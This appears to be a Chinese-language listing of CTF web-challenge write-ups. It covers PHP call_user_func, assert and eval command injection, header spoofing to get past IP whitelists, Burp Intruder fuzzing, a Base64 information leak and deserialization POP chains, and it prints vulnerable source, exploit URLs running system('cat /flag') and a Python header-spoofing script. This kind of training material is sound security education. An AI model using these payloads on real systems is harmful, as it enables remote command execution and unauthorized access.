call_user_func()
源码<?phpif(isset($_GET['func']) || isset($_GET['arg'])){ call_user_func($_GET['func'], $_GET['arg']);} else { echo "服务器剩余防御:1层";}?>
思路存在回调函数call_user_func,可以构造函数执行系统命令,使用下面的参数即可
http://ctf.seek2.top:32811/?func=system&arg=cat%20/flag
第一个参数是函数名,第二个是参数
知识点call_user_func() 是 PHP 中的一个内置函数,它的作用是调用回调函数并传递参数。这个函数接受两个参数:第一个参数是要调用的函数名(或者是一个包含对象和方法名的数组),第二个参数是要传递给函数的参数。
举个栗子,使用 call_user_func() 来调用 system 函数,并 ...
assert()
源码<?phpif(isset($_GET[2024])){ assert($_GET[2024]);} else { echo "服务器剩余防御:1层";}?>
思路存在危险函数 assert() ,可以执行系统命令,使用下面的参数即可
http://ctf.seek2.top:32805/?2024=system(%22cat%20/flag%22)
知识点在PHP中,eval()和assert()都是用于执行字符串作为PHP代码的函数,但它们的用途和行为有所不同。
eval():这个函数接受一个字符串参数,并将其作为PHP代码执行。它可以执行任何类型的PHP代码,包括定义变量、函数和类。如果代码执行成功,eval()将返回最后一个表达式的结果;如果代码执行失败,它将返回FALSE。eval()的主要问题是安全性,因为它可以执行任何PHP代码,所以如果你不小心,可能会执行恶意代码。
$code = '$a = 5; $b = 10; return $a + $b; ...
eval()
源码<?phpif(isset($_GET[2024])){ eval($_GET[2024]);} else { echo "服务器剩余防御:1层";}?>
思路存在危险函数 eval() ,可以执行系统命令,使用下面的参数即可
http://ctf.seek2.top:32805/?2024=system(%22cat%20/flag%22);
知识点eval() 是一个PHP内置函数,它可以执行传递给它的字符串参数作为代码
这个函数在 CTF 竞赛中常常被用来构造题目,因为它的使用可能会导致严重的安全问题。如果没有正确地处理用户输入,攻击者可以通过 eval() 执行任意代码,当传入GET参数cmd=system(“ls”);
当PHP代码执行 eval($_GET[‘cmd’]) 时,会输出当前目录下所有文件,相当于在服务器终端上执行 ls 命令
Spider
背景有时候需要爆破URL参数的情况。这通常是因为某些参数可能被用作密码或者其他敏感信息。在这种情况下,可以使用各种工具进行爆破,例如Burp Suite的Intruder功能。
基本步骤:
首先,设置浏览器的代理设置,使其流量通过Burp Suite。
然后,在浏览器中访问目标URL,例如http://ctf.seek2.top:33530/post/post.php?page=1
找到刚才发送的请求,右键点击它,然后选择”Send to Intruder”。4 切换到”Intruder”选项卡。在”Positions”子选项卡中,可以看到被发送到Intruder的请求。Burp Suite会自动标记出可能的爆破位置,可以根据需要添加或删除这些标记。
切换到”Payloads”子选项卡。可以设置爆破的参数。例如,可以选择一个字典文件,Burp Suite会使用这个文件中的所有词作为参数进行爆破。
设置好参数后,点击”Start attack”按钮开始爆破。
思路查看文章详细内容,进入http://ctf.seek2.top:33530/post/post.php?page=1,提示 ...
HTTP2
思路查看文章详细内容,得到通关要求
只接受POST方法访问
IP白名单:110.191.22.73 | 110.191.22.79 | 110.191.22.113
代理服务器信息:主机名为lutalica.time、HTTP版本为1.0、类型为Squid 3.1
因此,需要修改访问时 HTTP 请求头的信息,可以通过 BurpSuite 拦截流量并修改请求头,也可以使用 Python 直接编写 exp:
import requestsimport retarget = "http://ctf.seek2.top:32775/post/post.php"headers = { 'X-Client-IP': '110.191.22.73', 'Via': '1.0 lutalica.time (Squid 3.1)'}url = targethtml = requests.post(url, headers=headers).text# print(ht ...
HTTP1
背景在访问某些网页时,有时会遇到需要修改HTTP请求头的情况。请求头中可能包含诸如Cookie、User-Agent等信息,这些信息可能会被服务器用来进行身份验证或者其他的检查。
例如,服务器可能会检查User-Agent来确定请求是否来自特定的浏览器,或者检查Cookie的值来确定用户是否已经登录。在这种情况下,需要拦截并修改这些请求头才能绕过这些限制。
以下是如何使用拦截代理工具Burp Suite来修改请求头的步骤:
首先,需要设置浏览器的代理设置,使其流量通过Burp Suite。
然后,在Burp Suite中打开”Intercept”选项卡,并确保”Intercept is on”被选中。
现在,在浏览器中发送请求时,这些请求会被Burp Suite拦截。
在”Intercept”选项卡中,可以看到被拦截的请求。可以在这里修改请求头,例如改变User-Agent或者Cookie的值。
修改完成后,点击”Forward”按钮,修改后的请求就会被发送到服务器。
思路查看文章详细内容,得到通关要求
参数要求host=cs, port=sec
只接受POS ...
新年快乐 js审计
思路共5个知识点:
查看页面源码,看到有一个跳转到其它网页的链接
<h1 id="title">HappyNewYearCTF <span class="year">2024</span> <a href="progress/js.php"></a></h1>
查看页面源代码,可以看到一段 js代码对输入的口令进行校验,不过校验在客户端,而不是服务端,能够直接看到明文密码
<script type="text/javascript"> function check() { if (document.getElementById('passwd').value == " ") { window.location.href = "false.php"; } else ...
Mikutap 信息泄露
背景Web题目解题流程:
首先,访问网站并查看网站的功能。尝试使用网站的各种功能,看看是否有任何异常或提示信息
如果没有找到任何提示,那么可以查看网站的源代码来寻找提示。可以通过右键点击页面然后选择”查看页面源代码“来查看源代码
在源代码中寻找不寻常的地方。这可能包括隐藏的HTML元素,注释,或者看起来像是被编码的字符串。例如,可能会找到一段Base64编码的字符串
当找到了一段Base64编码的字符串,可以尝试解码。在Python中,可以使用base64库来解码Base64编码的字符串,或者通过其它常见的编解码工具:CyberChef、随波逐流
解码后的字符串可能就是flag(信息泄露) ,或者可能是下一步的线索
思路查看页面源代码 ,发现没有被 html 标签包围的字符串,可能是解题的线索,
<div id="view"></div> ZmxhZ3s0ZDU2NDMyMy01ZmVjLTRlYjctYTQ4MC1kMzc5YTBlNTFmNjd9
可以看出这是一段经过 Base64 编码后的字符串,不熟悉时也可以使用通用的一键解码 ...
serDemo4 buu 2020新春红包题
源码<?phperror_reporting(0);class A{ protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; } public function cleanContents(array $contents) { printf("%s\n", __METHOD__); $cachedProperties = array_flip([ 'path', 'di ...
serDemo3 pop链
源码<?php//flag is in flag.phperror_reporting(0);class Modifier{ protected $var; public function append($value) { printf("%s\n", __METHOD__); include($value); } public function __invoke() { printf("%s\n", __METHOD__); $this->append($this->var); }}class Show{ public $source; public $str; public function __construct($file = 'index.php') { $this->source ...